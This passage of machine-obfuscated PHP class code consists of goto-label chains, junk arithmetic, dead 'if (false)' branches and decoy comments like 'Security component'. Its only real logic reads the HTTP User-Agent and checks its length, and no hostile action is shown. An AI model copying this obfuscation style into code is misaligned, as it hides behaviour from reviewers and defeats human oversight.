vBDPVI2f; vBDPVI2f: goto cbVs1RDK; cbVs1RDK: goto l4s4YogF; l4s4YogF: $iCjD65Pi = 127 + 1; $iX1geSuk = $iCjD65Pi * 1; goto yYxigdL2; yYxigdL2: goto c7IhxpUO; c7IhxpUO: if (false) { echo 'This is a dead end'; } goto RYlFHEyZ; RYlFHEyZ: goto L7nCg6xq; L7nCg6xq: /* Security component */ goto sf_Dqdga; sf_Dqdga: goto TD5jdKVa; TD5jdKVa: return $Pe9zuJ4r > 10; } private function wPlJx9GKeu() { /* Security component */ goto uWkJ9vYz; uWkJ9vYz: goto a2jo32f3h; a2jo32f3h: /* Security component */ $NqlX8zGc = 907 + 40; $NqlX8zGc = $NqlX8zGc * 1; goto d_07csW6; d_07csW6: /* System file */ goto mF8U1zwM; mF8U1zwM: /* Security component */ goto KjxGyxNm; KjxGyxNm: /* byNB7js02SKmDwQfgyoI */ $n7sJ6WnP = 455 + 15; $NqlX8zGc = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto vVQt0SXK; vVQt0SXK: /* zaxLQnTSm2 */ $B9ma2fmF = 282 + 32; $Pe9zuJ4r = $B9ma2fmF * 3; goto a2NundwiU; a2NundwiU: // V7EiXfvjnvEI goto ykanIiWS; ykanIiWS: /* Core module */ if (false) { echo 'This is a dead end'; } goto GKGQKHpL; GKGQKHpL: /* UIDkdx_A4o */ goto a08LpUPvO; a08LpUPvO: /* yhPmdiBA6RkjrZ6 */ $B9ma2fmF = 380 + 10; $jIP39ari = $B9ma2fmF * 5; goto WBLPzIkd; WBLPzIkd: // pVCKhukMqLTW if (false) { echo 'This is a dead end'; } goto lT5MvLQp; lT5MvLQp: /* Security component */ $jIP39ari = 819 + 20; $n7sJ6WnP = $jIP39ari * 2; goto gXaB5y9O; gXaB5y9O: // _yr8bIP8 goto UzTXhXnI; UzTXhXnI: /* API handler */ goto o0k6gUHs; o0k6gUHs: goto rEbNtn8w; rEbNtn8w: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a4SZL77cK; a4SZL77cK: // IR3SaXKR goto oULyB4d6; oULyB4d6: /* Security component */ $iX1geSuk = 335 + 3; $iX1geSuk = $iX1geSuk * 3; goto a8O3FoeBt; a8O3FoeBt: if (false) { echo 'This is a dead end'; } goto YoivkkWc; YoivkkWc: goto eQVwLwXb; eQVwLwXb: $iX1geSuk = 151 + 4; $WWDcP6ib = $iX1geSuk * 2; goto wc3Vu7NU; wc3Vu7NU: goto NRAst9QD; NRAst9QD: goto aoqJykOS; aoqJykOS: goto PWU6GWlV; PWU6GWlV: /* kuLxo8wwmsnzjOvvQjqr */ goto a6kVDChLj; a6kVDChLj: // hhjJByiD7SeD goto Eilme5rm; Eilme5rm: /* iJOuAOaWcc */ goto RouNIGqx; RouNIGqx: $FbaGmw5w = 511 + 35; $a6EHyDbxg = $FbaGmw5w * 2; goto xJdZOvqr; xJdZOvqr: goto PE_AOvzS; PE_AOvzS: if (false) { echo 'This is a dead end'; } goto DlpJq9jO; DlpJq9jO: /* Main service */ $n7sJ6WnP = 372 + 31; $bZa4iOd6 = $n7sJ6WnP * 4; goto oJXSNXRy; oJXSNXRy: $jIP39ari = strlen($NqlX8zGc); goto tkGLF7uy; tkGLF7uy: // kDJDsLWREUOyURFJ goto Iy3Wcge0; Iy3Wcge0: if (false) { echo 'This is a dead end'; } goto AR1aSHdS; AR1aSHdS: /* NjN88daTsL */ $jIP39ari = 950 + 23; $iCjD65Pi = $jIP39ari * 1; goto p68qXLuN; p68qXLuN: // akjGHCPl goto PZ2jXDos; PZ2jXDos: /* System file */ goto xnmmYhJ4; xnmmYhJ4: /* System file */ if (false) { echo 'This is a dead end'; } goto JMVPcYJg; JMVPcYJg: // NN1swVfX $Pe9zuJ4r = 314 + 18; $a6b9oay5s = $Pe9zuJ4r * 3; goto ch4db_mV; ch4db_mV: goto PeUG_uEu; PeUG_uEu: /* 4_m8lp5AoEFKPHa_Iq65 */ goto KV5G8Ni8; KV5G8Ni8: $WWDcP6ib = 271 + 12; $WWDcP6ib = $WWDcP6ib * 3; goto JggdR2AC; JggdR2AC: // 9laqCyin $a6EHyDbxg = 858 + 43; $a6EHyDbxg = $a6EHyDbxg * 5; goto Iciox9JO; Iciox9JO: // cWeDBbu9mOjw $WWDcP6ib = 681 + 16; $WWDcP6ib = $WWDcP6ib * 4; goto eRyZYU0M; eRyZYU0M: /* MPaQ9SuuztqM679 */ if (false) { echo 'This is a dead end'; } goto EAbgThUA; EAbgThUA: /* 9t6YnCSB34SyNwc */ $bZa4iOd6 = 141 + 50; $XsucffsH = $bZa4iOd6 * 5; goto ZKloSZC6; ZKloSZC6: /* Core module */ if (false) { echo 'This is a dead end'; } goto tUsOWhZw; tUsOWhZw: return $jIP39ari > 10; } private function Qm0AIs_fNS() { goto qsbr6ksG; qsbr6ksG: $jIP39ari = 774 + 12; $iX1geSuk = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto kJIwUEfe; kJIwUEfe: goto uuD1_XKq; uuD1_XKq: /* Core module */ if (false) { echo 'This is a dead end'; } goto XqAujZfh; XqAujZfh: // hMYfkkwv goto cNJ2qZAL; cNJ2qZAL: /* Security component */ if (false) { echo 'This is a dead end'; } goto n2im6rUT; n2im6rUT: goto NICUc6PD; NICUc6PD: $iCjD65Pi = 268 + 42; $NqlX8zGc = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto ATBASNak; ATBASNak: goto oM4d9wES; oM4d9wES: goto DCjbsLaa; DCjbsLaa: goto P9NQq6qr; P9NQq6qr: goto R0RW765_; R0RW765_: /* Main service */ goto cIVYZvrd; cIVYZvrd: /* x3wg14_Bf4D5Ib9 */ $jIP39ari = 438 + 46; $a6EHyDbxg = $jIP39ari * 5; goto NVy111Mm; NVy111Mm: /* clc_ApfIl2FYfcYjiUGC */ $n7sJ6WnP = 386 + 24; $iCjD65Pi = $n7sJ6WnP * 2; goto t8woGoqO; t8woGoqO: goto YZqaHx_T; YZqaHx_T: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto bu7DQhrS; bu7DQhrS: /* tZIk_qnx1cPcba0 */ $jIP39ari = 369 + 13; $a29IFo9lZ = $jIP39ari * 2; goto ogWGabVa; ogWGabVa: $bZa4iOd6 = 398 + 11; $a29IFo9lZ = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto E5pUZ0Sy; E5pUZ0Sy: $jIP39ari = 286 + 23; $NqlX8zGc = $jIP39ari * 3; goto knKdoqto; knKdoqto: goto KA7YViBR; KA7YViBR: /* MCy5NZPQaP */ goto fWpiaoQ7; fWpiaoQ7: goto Fcd1Kg8P; Fcd1Kg8P: goto G7A_zbif; G7A_zbif: // _15Jby45 goto yiTWdYO4; yiTWdYO4: /* Security component */ goto Mfp_fXrv; Mfp_fXrv: $WWDcP6ib = 366 + 12; $WWDcP6ib = $WWDcP6ib * 3; goto a1nU1etQw; a1nU1etQw: if (false) { echo 'This is a dead end'; } goto Ri9gJdBY; Ri9gJdBY: goto eFyEdWBW; eFyEdWBW: /* 45Y4qCbOv79vV_KhLBkB */ if (false) { echo 'This is a dead end'; } goto g7RDlQBu; g7RDlQBu: goto GjzYchtL; GjzYchtL: if (false) { echo 'This is a dead end'; } goto Evw7yRu3; Evw7yRu3: $FbaGmw5w = strlen($FbaGmw5w); goto b3K59ZMR; b3K59ZMR: goto a_zGbKnPV; a_zGbKnPV: if (false) { echo 'This is a dead end'; } goto PsvkP5Eo; PsvkP5Eo: // 0_lysMxl goto eUW_z9la; eUW_z9la: /* Security component */ if (false) { echo 'This is a dead end'; } goto a1cEdGX_T; a1cEdGX_T: /* ylqUcOshfJ4GuJG */ $jIP39ari = 202 + 6; $BqYDw4sr = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto jsdHu494; jsdHu494: $BqYDw4sr = 347 + 23; $bZa4iOd6 = $BqYDw4sr * 2; goto a40fltXaC; a40fltXaC: $n7sJ6WnP = 493 + 11; $NqlX8zGc = $n7sJ6WnP * 1; goto Efa580Q7; Efa580Q7: goto lhDiOjbE; lhDiOjbE: $iCjD65Pi = 566 + 21; $Pe9zuJ4r = $iCjD65Pi * 2; goto gnxqXOiV; gnxqXOiV: $a29IFo9lZ = 858 + 30; $iX1geSuk = $a29IFo9lZ * 4; goto C1jvwGhC; C1jvwGhC: /* Main service */ if (false) { echo 'This is a dead end'; } goto CaKObZWn; CaKObZWn: /* API handler */ goto W6SMnbQP; W6SMnbQP: /* lHcJwCyXcg */ $NqlX8zGc = 746 + 18; $a6b9oay5s = $NqlX8zGc * 1; goto A00HMtoc; A00HMtoc: $iCjD65Pi = 593 + 6; $B9ma2fmF = $iCjD65Pi * 3; goto I_ZAqezQ; I_ZAqezQ: $bZa4iOd6 = 623 + 37; $B9ma2fmF = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto z_kJmOaR; z_kJmOaR: return $FbaGmw5w > 10; } private function g1x6Ac6Xr8() { goto a4Xfm09si; a4Xfm09si: /* sjXtgkghts */ goto a2fK_hN9H; a2fK_hN9H: goto lmbpGa9s; lmbpGa9s: /* API handler */ goto N66LDYnD; N66LDYnD: // WGIPxLsX7iDhWLxj $WWDcP6ib = 145 + 18; $iCjD65Pi = $WWDcP6ib * 3; goto hpPCuHNB; hpPCuHNB: // m4lz0oehVjAKRTdu if (false) { echo 'This is a dead end'; } goto NGSaLrmP; NGSaLrmP: goto wBI_P5G8; wBI_P5G8: $jIP39ari = 290 + 38; $WWDcP6ib = $jIP39ari * 5; goto sFhrx1cV; sFhrx1cV: $XsucffsH = 304 + 11; $jIP39ari = $XsucffsH * 1; goto a1YlP7jPd; a1YlP7jPd: goto a3bCUpzKx; a3bCUpzKx: $WWDcP6ib = 779 + 33; $a29IFo9lZ = $WWDcP6ib * 3; goto hMeuwMhp; hMeuwMhp: // LowMZZXT $a6b9oay5s = 460 + 8; $FbaGmw5w = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto kh0YjoHA; kh0YjoHA: // z5PPgFotNo9P $iX1geSuk = 573 + 1; $FbaGmw5w = $iX1geSuk * 1; goto a7BPaC6AV; a7BPaC6AV: $iCjD65Pi = 701 + 40; $Pe9zuJ4r = $iCjD65Pi * 1; goto a3Iisj2bk; a3Iisj2bk: $Pe9zuJ4r = 851 + 20; $XsucffsH = $Pe9zuJ4r * 5; if (false) { echo 'This is a dead end'; } goto n3iHg2BC; n3iHg2BC: goto eRDZ2SiQ; eRDZ2SiQ: $bZa4iOd6 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Pl75af1t; Pl75af1t: $Pe9zuJ4r = 902 + 26; $a6b9oay5s = $Pe9zuJ4r * 5; goto a_SSufVDH; a_SSufVDH: /* Core module */ goto V1d6mkY1; V1d6mkY1: /* Security component */ goto yvFrSq0g; yvFrSq0g: /* Ajc148lKHjqzT2B */ $a6b9oay5s = 896 + 38; $Pe9zuJ4r = $a6b9oay5s * 3; goto QLJeJZoG; QLJeJZoG: goto a7t5FOATj; a7t5FOATj: goto a_QdFFC2c; a_QdFFC2c: if (false) { echo 'This is a dead end'; } goto Ljz56PZB; Ljz56PZB: /* GqufDl3C8Vc0Lj_ */ $XsucffsH = 595 + 20; $a6EHyDbxg = $XsucffsH * 2; goto mcMhaO6v; mcMhaO6v: /* System file */ $Pe9zuJ4r = 664 + 9; $NqlX8zGc = $Pe9zuJ4r * 5; goto J3W2i03P; J3W2i03P: $BqYDw4sr = 664 + 27; $iX1geSuk = $BqYDw4sr * 1; goto F9LCEjyE; F9LCEjyE: $BqYDw4sr = 380 + 41; $FbaGmw5w = $BqYDw4sr * 5; goto ty_cwC2w; ty_cwC2w: goto eUIA22Yn; eUIA22Yn: /* Main service */ goto a93QkHyoA; a93QkHyoA: goto d30XASCG; d30XASCG: $FbaGmw5w = 606 + 42; $FbaGmw5w = $FbaGmw5w * 4; goto kuoKQl1L; kuoKQl1L: $n7sJ6WnP = strlen($bZa4iOd6); goto PQSvg2UW; PQSvg2UW: // 8oIh2zvtRa4mYgGt $WWDcP6ib = 896 + 42; $a6EHyDbxg = $WWDcP6ib * 5; goto ul1KXkYE; ul1KXkYE: /* ZeANLisIOm */ $B9ma2fmF = 554 + 35; $a6EHyDbxg = $B9ma2fmF * 3; goto a4I36bTep; a4I36bTep: $bZa4iOd6 = 822 + 43; $WWDcP6ib = $bZa4iOd6 * 2; goto a_IvsqOR8; a_IvsqOR8: if (false) { echo 'This is a dead end'; } goto RwuyGp44; RwuyGp44: if (false) { echo 'This is a dead end'; } goto gFx7rBnk; gFx7rBnk: goto E8zsHGKX; E8zsHGKX: goto P_WlROdG; P_WlROdG: goto a3BI8mpCK; a3BI8mpCK: if (false) { echo 'This is a dead end'; } goto ujMwI2yt; ujMwI2yt: goto Yqjk4r9K; Yqjk4r9K: /* System file */ goto a7_TscrR_; a7_TscrR_: goto a82WFq5EQ; a82WFq5EQ: $BqYDw4sr = 980 + 34; $n7sJ6WnP = $BqYDw4sr * 1; goto a2M61OvqR; a2M61OvqR: goto ughpv8tI; ughpv8tI: /* System file */ goto TyNR9Opv; TyNR9Opv: return $n7sJ6WnP > 10; } private function bVBgAyCOBZ() { goto gYWwIt_8; gYWwIt_8: // TJ75ugGSKRY1HMQ9 goto kQ92MLOG; kQ92MLOG: /* lQLz96SQ17 */ $a6EHyDbxg = 136 + 18; $B9ma2fmF = $a6EHyDbxg * 5; goto pMlV68fS; pMlV68fS: goto vaW7Ph5D; vaW7Ph5D: $BqYDw4sr = 532 + 29; $bZa4iOd6 = $BqYDw4sr * 1; goto a7tuhIOyM; a7tuhIOyM: /* rM5hi5SotD6P_hR */ goto CLslMYy0; CLslMYy0: goto frSAJRRX; frSAJRRX: goto Z4USayql; Z4USayql: /* System file */ goto uGlvbDti; uGlvbDti: goto saHIBcPW; saHIBcPW: /* Security component */ $a29IFo9lZ = 305 + 47; $B9ma2fmF = $a29IFo9lZ * 4; goto xThAW3Nl; xThAW3Nl: goto jc0zOgQH; jc0zOgQH: goto S59hUiRR; S59hUiRR: $a6EHyDbxg = 692 + 50; $a29IFo9lZ = $a6EHyDbxg * 4; goto MtPyg5Ed; MtPyg5Ed: // sZ4GkNRu goto xm3hZiSn; xm3hZiSn: $NqlX8zGc = 194 + 19; $bZa4iOd6 = $NqlX8zGc * 4; if (false) { echo 'This is a dead end'; } goto FhxouLmv; FhxouLmv: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto DY7q6GdC; DY7q6GdC: /* Main service */ $B9ma2fmF = 565 + 3; $WWDcP6ib = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto Y06doMCU; Y06doMCU: if (false) { echo 'This is a dead end'; } goto IBjTEtfB; IBjTEtfB: /* Security component */ if (false) { echo 'This is a dead end'; } goto ZC0kjS1L; ZC0kjS1L: // fPUzhdZH $iX1geSuk = 154 + 47; $bZa4iOd6 = $iX1geSuk * 3; goto x3D2UYpw; x3D2UYpw: $B9ma2fmF = 982 + 3; $iX1geSuk = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto uRjdJFSc; uRjdJFSc: /* EBNm_C7_XzOG0y1W_EmQ */ $iCjD65Pi = 515 + 14; $a6b9oay5s = $iCjD65Pi * 5; goto kvkCduox; kvkCduox: /* b14KqedVq5K_X3fmxOGI */ $bZa4iOd6 = 348 + 22; $FbaGmw5w = $bZa4iOd6 * 3; goto HW13uoDR; HW13uoDR: $iCjD65Pi = 868 + 27; $bZa4iOd6 = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto a4ABfCFhO; a4ABfCFhO: /* Core module */ goto IMkKA7PT; IMkKA7PT: goto a7ffSGVjI; a7ffSGVjI: goto shpYafQY; shpYafQY: goto a9qK_nn80; a9qK_nn80: /* 2QpgVWcFK0S12NR4Mj4h */ $a6EHyDbxg = 468 + 32; $FbaGmw5w = $a6EHyDbxg * 2; goto a9rjVso1A; a9rjVso1A: /* aAiC54guHU */ $XsucffsH = 207 + 13; $a6b9oay5s = $XsucffsH * 5; goto HbEWihbu; HbEWihbu: /* Core module */ goto Ko_sMij3; Ko_sMij3: $WWDcP6ib = strlen($B9ma2fmF); goto a_tV7qtxH; a_tV7qtxH: $n7sJ6WnP = 445 + 10; $n7sJ6WnP = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto TUpjSlHp; TUpjSlHp: // R2S0uql7E2KZ $B9ma2fmF = 840 + 16; $FbaGmw5w = $B9ma2fmF * 5; if (false) { echo 'This is a dead end'; } goto p1I5Slgv; p1I5Slgv: /* Core module */ goto jaz5eCWA; jaz5eCWA: /* System file */ goto G64fTrpg; G64fTrpg: /* Core module */ if (false) { echo 'This is a dead end'; } goto Yrst5GHG; Yrst5GHG: /* API handler */ goto JijcSELl; JijcSELl: // jBYWzqMSZ6zs goto UkcMIcIl; UkcMIcIl: if (false) { echo 'This is a dead end'; } goto gwaf7DTo; gwaf7DTo: if (false) { echo 'This is a dead end'; } goto MH0CGxK6; MH0CGxK6: /* 9_1xHmMURhsUbRo */ $iCjD65Pi = 432 + 47; $WWDcP6ib = $iCjD65Pi * 4; goto sGf5g2uL; sGf5g2uL: $a6b9oay5s = 150 + 9; $BqYDw4sr = $a6b9oay5s * 3; goto KW6aabYV; KW6aabYV: $BqYDw4sr = 995 + 33; $iX1geSuk = $BqYDw4sr * 4; goto wfS4dbcj; wfS4dbcj: goto bXNfOb2z; bXNfOb2z: /* Security component */ $NqlX8zGc = 913 + 30; $BqYDw4sr = $NqlX8zGc * 1; goto BMqosIZs; BMqosIZs: /* fETBPzBiYd */ goto wtFqmwYh; wtFqmwYh: return $WWDcP6ib > 10; } private function mVMNWoR0_l() { goto p2neGAdD; p2neGAdD: $n7sJ6WnP = 115 + 15; $WWDcP6ib = $n7sJ6WnP * 3; goto HhROM_Y5; HhROM_Y5: goto DkQFLd1S; DkQFLd1S: // uxQVst4zUvQiEvir $n7sJ6WnP = 276 + 36; $NqlX8zGc = $n7sJ6WnP * 1; goto z_4BeOSV; z_4BeOSV: $iCjD65Pi = 466 + 41; $iCjD65Pi = $iCjD65Pi * 3; goto ETxU027F; ETxU027F: /* Security component */ $FbaGmw5w = 195 + 4; $a6b9oay5s = $FbaGmw5w * 1; goto QVwdDqVl; QVwdDqVl: goto d7juuRqJ; d7juuRqJ: // 4fhwWVYFLxBf goto pRV4jZmV; pRV4jZmV: $BqYDw4sr = 209 + 46; $a6b9oay5s = $BqYDw4sr * 5; goto ADLVLjry; ADLVLjry: goto QbEEBX3M; QbEEBX3M: goto Q0w9KFif; Q0w9KFif: if (false) { echo 'This is a dead end'; } goto ETq_vv7T; ETq_vv7T: goto auiaQsWI; auiaQsWI: if (false) { echo 'This is a dead end'; } goto cpjo5IK5; cpjo5IK5: /* nrLWiRb0VE */ $NqlX8zGc = 473 + 23; $FbaGmw5w = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto gYmqMhLt; gYmqMhLt: /* System file */ $a6EHyDbxg = 326 + 7; $iCjD65Pi = $a6EHyDbxg * 4; goto HxOrZLQL; HxOrZLQL: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a1JUgHIwV; a1JUgHIwV: /* System file */ goto YB2y0aFD; YB2y0aFD: /* bT_WJEVr0p9PD_kOlPo1 */ if (false) { echo 'This is a dead end'; } goto cn2ZsHci; cn2ZsHci: if (false) { echo 'This is a dead end'; } goto gJecKHpM; gJecKHpM: if (false) { echo 'This is a dead end'; } goto a819m4VHR; a819m4VHR: // vHTs85XBwDTJQar5 goto TJDZ3mRZ; TJDZ3mRZ: goto w9tYnGMT; w9tYnGMT: // ZqhwgvOhZZSA4_FK goto qaarNBkN; qaarNBkN: goto f0kFp7Ot; f0kFp7Ot: /* Security component */ $WWDcP6ib = 340 + 4; $FbaGmw5w = $WWDcP6ib * 3; goto tVscpEzA; tVscpEzA: /* API handler */ $NqlX8zGc = 170 + 21; $a29IFo9lZ = $NqlX8zGc * 5; goto KFygS90E; KFygS90E: if (false) { echo 'This is a dead end'; } goto a3ZribHn8; a3ZribHn8: if (false) { echo 'This is a dead end'; } goto Ij0XuOac; Ij0XuOac: $a6EHyDbxg = 317 + 13; $B9ma2fmF = $a6EHyDbxg * 5; goto XbUHVQgc; XbUHVQgc: goto FbAW3p75; FbAW3p75: $jIP39ari = 411 + 2; $BqYDw4sr = $jIP39ari * 3; goto QiaQe1U6; QiaQe1U6: $a29IFo9lZ = strlen($jIP39ari); goto BersgKhi; BersgKhi: /* QULOPyqlh9iyYiNx5SAO */ if (false) { echo 'This is a dead end'; } goto BMiGTM0h; BMiGTM0h: /* gaWWjA5A3W */ $iX1geSuk = 869 + 2; $BqYDw4sr = $iX1geSuk * 3; goto kARrGESZ; kARrGESZ: $B9ma2fmF = 745 + 18; $bZa4iOd6 = $B9ma2fmF * 5; goto a9almdFXs; a9almdFXs: // 8MGYFlFpu2Vj goto nmGopSWz; nmGopSWz: /* API handler */ goto eKL4dM34; eKL4dM34: goto fDjyBia7; fDjyBia7: goto a2kwubeuw; a2kwubeuw: /* Th6B6VUiWY7jBg5 */ $jIP39ari = 443 + 15; $BqYDw4sr = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto GosxjQbE; GosxjQbE: goto Bg51vRR9; Bg51vRR9: goto fhRTl35a; fhRTl35a: $XsucffsH = 130 + 8; $bZa4iOd6 = $XsucffsH * 5; goto a9wKFFgw8; a9wKFFgw8: /* Core module */ goto BuX_y4br; BuX_y4br: // pEbl6S9YGruJlyJo goto lyohEC4a; lyohEC4a: $WWDcP6ib = 468 + 45; $WWDcP6ib = $WWDcP6ib * 1; goto b4anT5mH; b4anT5mH: if (false) { echo 'This is a dead end'; } goto EKnK3ca5; EKnK3ca5: return $a29IFo9lZ > 10; } private function dXh96Gl0oz() { // yr0LKHhRkaG2 goto R3pW567a; R3pW567a: goto pXayyvtr; pXayyvtr: /* rcUfbEBbpm */ goto mK8dKvBT; mK8dKvBT: /* veINLtSlOI7GKjp */ goto rp4t3W2d; rp4t3W2d: $jIP39ari = 537 + 36; $WWDcP6ib = $jIP39ari * 4; goto TCmWU0kz; TCmWU0kz: /* RPUcjpxz1nV2Bw5 */ goto w4irJvBn; w4irJvBn: goto JzmXWMy3; JzmXWMy3: /* _X_kJTkdKns6SbJ */ goto Ny0Lc8zg; Ny0Lc8zg: if (false) { echo 'This is a dead end'; } goto a0OuION5u; a0OuION5u: goto xJiAj0A2; xJiAj0A2: goto TRGHIVc7; TRGHIVc7: goto a8qszguMX; a8qszguMX: goto CjV4_GYJ; CjV4_GYJ: /* GNWt137eKb */ if (false) { echo 'This is a dead end'; } goto lXMhCbjp; lXMhCbjp: goto Mg87qRdO; Mg87qRdO: $n7sJ6WnP = 761 + 40; $NqlX8zGc = $n7sJ6WnP * 3; goto k7gDKtpV; k7gDKtpV: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto OZY5hTwB; OZY5hTwB: goto NuB9s_aB; NuB9s_aB: $a29IFo9lZ = 554 + 25; $Pe9zuJ4r = $a29IFo9lZ * 5; if (false) { echo 'This is a dead end'; } goto MNjAeEAE; MNjAeEAE: $n7sJ6WnP = 564 + 12; $iCjD65Pi = $n7sJ6WnP * 1; goto iubYPaNV; iubYPaNV: goto zKsKAzeB; zKsKAzeB: $WWDcP6ib = 266 + 21; $a29IFo9lZ = $WWDcP6ib * 5; goto RXTY7LAO; RXTY7LAO: if (false) { echo 'This is a dead end'; } goto a0vJom_f8; a0vJom_f8: $a29IFo9lZ = 744 + 17; $BqYDw4sr = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto cK_bJHVK; cK_bJHVK: // WyFGsOzzMJGmfdzT goto a0bby6wx0; a0bby6wx0: goto vE5uleb2; vE5uleb2: /* System file */ goto gwuyFSpV; gwuyFSpV: $bZa4iOd6 = 810 + 22; $a29IFo9lZ = $bZa4iOd6 * 4; goto HVO2UBv7; HVO2UBv7: // J1LxLTttlfvV $iCjD65Pi = 361 + 35; $a6b9oay5s = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto RdhGIRYI; RdhGIRYI: /* auPieBpYCK */ goto a7ZAZybXk; a7ZAZybXk: goto TCL6Zf7W; TCL6Zf7W: /* gE4HkdS4jb */ goto eCAU24C9; eCAU24C9: $a29IFo9lZ = strlen($a6EHyDbxg); goto uJSIZTZb; uJSIZTZb: goto OG47Kbwr; OG47Kbwr: /* Security component */ $XsucffsH = 186 + 2; $NqlX8zGc = $XsucffsH * 2; goto YcjqsnmW; YcjqsnmW: /* ppyjUoJVc6_1qYdYouTQ */ goto ds4aa3gR; ds4aa3gR: $NqlX8zGc = 610 + 17; $Pe9zuJ4r = $NqlX8zGc * 4; if (false) { echo 'This is a dead end'; } goto J50Rebwe; J50Rebwe: /* UknydKCAmksoT5jyYynd */ goto a4JEnb6n; a4JEnb6n: goto w17zZPsm; w17zZPsm: goto bGBmfE4y; bGBmfE4y: $iX1geSuk = 838 + 14; $NqlX8zGc = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto QvdViHGi; QvdViHGi: goto tTr15Kqw; tTr15Kqw: goto ABkOVKea; ABkOVKea: $iX1geSuk = 953 + 47; $BqYDw4sr = $iX1geSuk * 3; if (false) { echo 'This is a dead end'; } goto a4aLZSzqa; a4aLZSzqa: // qLFUHSIWJhydEYpF goto nCGwPGPW; nCGwPGPW: /* API handler */ goto EuCcOpNx; EuCcOpNx: goto a0jNfRnsp; a0jNfRnsp: goto L1LsOy7Q; L1LsOy7Q: return $a29IFo9lZ > 10; } private function a0Of3jiyKHN() { // koDgiLyN_wJKsdJe goto vwGT1eFS; vwGT1eFS: /* System file */ $B9ma2fmF = 880 + 36; $NqlX8zGc = $B9ma2fmF * 4; goto JrEVi25t; JrEVi25t: goto lMqlUktE; lMqlUktE: $iCjD65Pi = 617 + 26; $a6EHyDbxg = $iCjD65Pi * 4; goto OjmB3pM4; OjmB3pM4: goto a0Xu_aRCW; a0Xu_aRCW: goto fEr_MEPt; fEr_MEPt: goto kyftp5RI; kyftp5RI: if (false) { echo 'This is a dead end'; } goto Tlm2id1B; Tlm2id1B: /* Main service */ goto a_4i8RnSe; a_4i8RnSe: // T86Sc2RgfQBsLtBB if (false) { echo 'This is a dead end'; } goto aYyNT5iH; aYyNT5iH: $a6b9oay5s = 207 + 27; $Pe9zuJ4r = $a6b9oay5s * 5; goto NY9_Qpgf; NY9_Qpgf: // tqyShXYOu3av goto ambQw9Rn; ambQw9Rn: /* Main service */ goto OatY2cUk; OatY2cUk: /* Core module */ $NqlX8zGc = 417 + 46; $a6EHyDbxg = $NqlX8zGc * 2; goto FoCL9YJI; FoCL9YJI: goto a7ZL9mlQG; a7ZL9mlQG: // 2pvJJd8w goto EI6FgeRY; EI6FgeRY: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto PKx_0EQn; PKx_0EQn: /* Core module */ $n7sJ6WnP = 617 + 6; $iCjD65Pi = $n7sJ6WnP * 4; goto a0yZJ8lrc; a0yZJ8lrc: goto pvfGNtOK; pvfGNtOK: /* H0p5vz3vYO46lfm */ goto MfShuxSU; MfShuxSU: /* Security component */ goto nf2J1CkM; nf2J1CkM: // 03DYIdtu2yB2 $Pe9zuJ4r = 579 + 46; $NqlX8zGc = $Pe9zuJ4r * 4; goto AcJS0e38; AcJS0e38: /* Main service */ $BqYDw4sr = 404 + 46; $XsucffsH = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto bh5kQhTc; bh5kQhTc: if (false) { echo 'This is a dead end'; } goto PBK19xZU; PBK19xZU: // BcXmIPCoVhD17jVK goto Q4cYhIVG; Q4cYhIVG: /* Security component */ goto wwjYeXre; wwjYeXre: /* 59UstI8bXHq0bY4gWtNu */ $WWDcP6ib = 468 + 50; $iCjD65Pi = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto sle_tDyF; sle_tDyF: $a29IFo9lZ = 114 + 8; $n7sJ6WnP = $a29IFo9lZ * 2; goto Axp4HaGe; Axp4HaGe: /* Core module */ goto K1q4FjaJ; K1q4FjaJ: /* Main service */ $jIP39ari = 691 + 37; $bZa4iOd6 = $jIP39ari * 3; goto a1_ct9LXM; a1_ct9LXM: /* doIO9hL2Qg */ $a6EHyDbxg = 796 + 23; $a29IFo9lZ = $a6EHyDbxg * 5; goto WVt23g4U; WVt23g4U: /* Main service */ if (false) { echo 'This is a dead end'; } goto a8VpElkPL; a8VpElkPL: $bZa4iOd6 = strlen($BqYDw4sr); goto jRu8qSR6; jRu8qSR6: // GzzO4ggde3IDu1_6 $a6b9oay5s = 167 + 46; $iCjD65Pi = $a6b9oay5s * 5; goto hZoVCBdX; hZoVCBdX: if (false) { echo 'This is a dead end'; } goto CKtNqVWi; CKtNqVWi: $jIP39ari = 308 + 31; $jIP39ari = $jIP39ari * 2; goto kkrgXxij; kkrgXxij: // DkZZAQaL $iCjD65Pi = 578 + 13; $a6EHyDbxg = $iCjD65Pi * 3; goto wxyjL7hl; wxyjL7hl: /* API handler */ if (false) { echo 'This is a dead end'; } goto ycjn5SHx; ycjn5SHx: /* VTgOApn4BP */ goto B9EoVuxK; B9EoVuxK: /* Main service */ $B9ma2fmF = 384 + 30; $iCjD65Pi = $B9ma2fmF * 5; goto VTPb_tRz; 